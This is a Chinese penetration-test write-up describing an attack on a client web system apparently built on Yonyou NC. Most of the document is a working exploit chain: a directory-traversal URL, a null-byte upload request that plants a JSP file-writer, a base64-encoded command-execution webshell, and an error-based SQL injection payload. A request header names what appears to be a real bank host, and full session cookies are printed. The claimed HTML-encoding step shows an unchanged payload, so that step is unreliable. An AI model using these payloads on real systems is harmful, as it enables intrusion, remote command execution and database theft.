前言:
前段时间对客户这边的一个系统进行了一次渗透测试,整理了一下渗透过程。
渗透过程:
网站主页只提供了一个登录窗口和通知公告功能,翻翻了通知公告里面的附件,在一个操作手册里面的截图发现了几处账号信息截图。
按照用户名命名的规则尝试了一下暴力破解,但是并没有暴力出有用的账号信息。再次尝试扫描了一下网站目录,还是没有发现有用的信息。
这个时候尝试看看搜索引擎爬虫能不能找到有用的信息:site:test.test.com ,翻了好几页还真的发现存在一处比较有用的信息,如下截图:
发现三个邮箱,是系统维护人员的,其中两个邮箱后缀为:@yonyou.com ,搜索了下这个是用友的邮箱。看来这个系统是用友开发了的。这里也许是个切入口。
搜索了一下用友的漏洞还挺多的,没啥太多的信息只好一个一个来手工尝试了。
通过访问以下链接发现存在一个目录遍历,可以查看网站目录:
http://test.com/NCFindWeb?service=IPreAlertConfigService&filename=../../
大致的翻了翻目录里面的文件,发现存在一处上传,貌似服务器存在waf,直接上传shell无法成功,先提交一个测试包,创建vul.jsp文件。
POST /uapws/saveDoc.ajax?ws=/../../vul.jsp%00 HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: WEBTRENDS_ID=61.175.197.205-573830592.30550248::43232CC12FBA7859241DCECA0AEE; tma=104439570.71887824.1476758319399.1476758319399.1476758319399.1; tmd=1.104439570.71887824.1476758319399.; bfd_g=80366a9b14aa7567000043870079083457565be9; _ga=GA1.2.461947641.1476838431; pgv_pvi=3334412288; JSESSIONID=0000nqHXxdL3UxqW2PZa81uhHad:18aoveges; TS2e6b29=2d2000199d42f3a7fba27056425bac791e2a959aa113bf045808776860ac0ec57e505727
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 261
content=%3C%25new%20java.io.FileOutputStream%28application.getRealPath%28%22%2f%22%29%2b%22%2f%22%2brequest.getParameter%28%22f%22%29%29.write%28new%20sun.misc.BASE64Decoder%28%29.decodeBuffer%28request.getParameter%28%22c%22%29%29%29%3Bout.close%28%29%3B%25%3E
接着利用刚才上传的vul.jsp文件写一个base64编码的shell来绕过waf:
POST http://test.com/uapws/vul.jsp?f=box.jsp
data:c=PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlCnRyeSB7ClN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7ClByb2Nlc3MgY2hpbGQgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7CklucHV0U3RyZWFtIGluID0gY2hpbGQuZ2V0SW5wdXRTdHJlYW0oKTsKaW50IGM7CndoaWxlICgoYyA9IGluLnJlYWQoKSkgIT0gLTEpIHsKb3V0LnByaW50KChjaGFyKWMpOwp9CmluLmNsb3NlKCk7CnRyeSB7CmNoaWxkLndhaXRGb3IoKTsKfSBjYXRjaCAoSW50ZXJydXB0ZWRFeGNlcHRpb24gZSkgewplLnByaW50U3RhY2tUcmFjZSgpOwp9Cn0gY2F0Y2ggKElPRXhjZXB0aW9uIGUpIHsKU3lzdGVtLmVyci5wcmludGxuKGUpOwp9CiU+
访问我们的shell执行命令:
http://test.com/uapws/box.jsp?cmd=ipconfig
再翻了翻目录,发现一个地方存在SQL注入,使用burpsuite提交以下请求包:
POST /uapws/service/nc.itf.bd.crm.ICurrtypeExportToCrmService HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://test.com/uapws/service/nc.itf.bd.crm.ICurrtypeExportToCrmService?wsdl
Cookie: td_cookie=18446744070088469367; WEBTRENDS_ID=61.175.197.205-573830592.30550248::43232CC12FBA7859241DCECA0AEE; tma=104439570.71887824.1476758319399.1476758319399.1476758319399.1; tmd=1.104439570.71887824.1476758319399.; bfd_g=80366a9b14aa7567000043870079083457565be9; _ga=GA1.2.461947641.1476838431; pgv_pvi=3334412288; JSESSIONID=0000nqHXxdL3UxqW2PZa81uhHad:18aoveges; TS2e6b29=bf6fb5506fd7b0882ccb6sadd5515fd531e2a959aa113bf045808799e60ac0ec57e505727
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
SOAPAction: urn:exportCurrtypeToCrm
Content-Type: text/xml;charset=UTF-8
Host: purchase.cmbchina.com
Content-Length: 522
>1111' AND 7033=CONVERT(INT, (@@version+'~~'+db_name()))-- Mwnm
由于站点存在waf,所以我们需要对我们的payload 进行处理,payload如下:
1111' AND 7033=CONVERT(INT, (@@version+'~~'+db_name()))-- Mwnm
Payload进行html编码:
1111' AND 7033=CONVERT(INT, (@@version+'~~'+db_name()))-- Mwnm
到这里渗透过程基本完成,还有几处注入由于利用方法和上面的提到的差不多,这里就不在重复。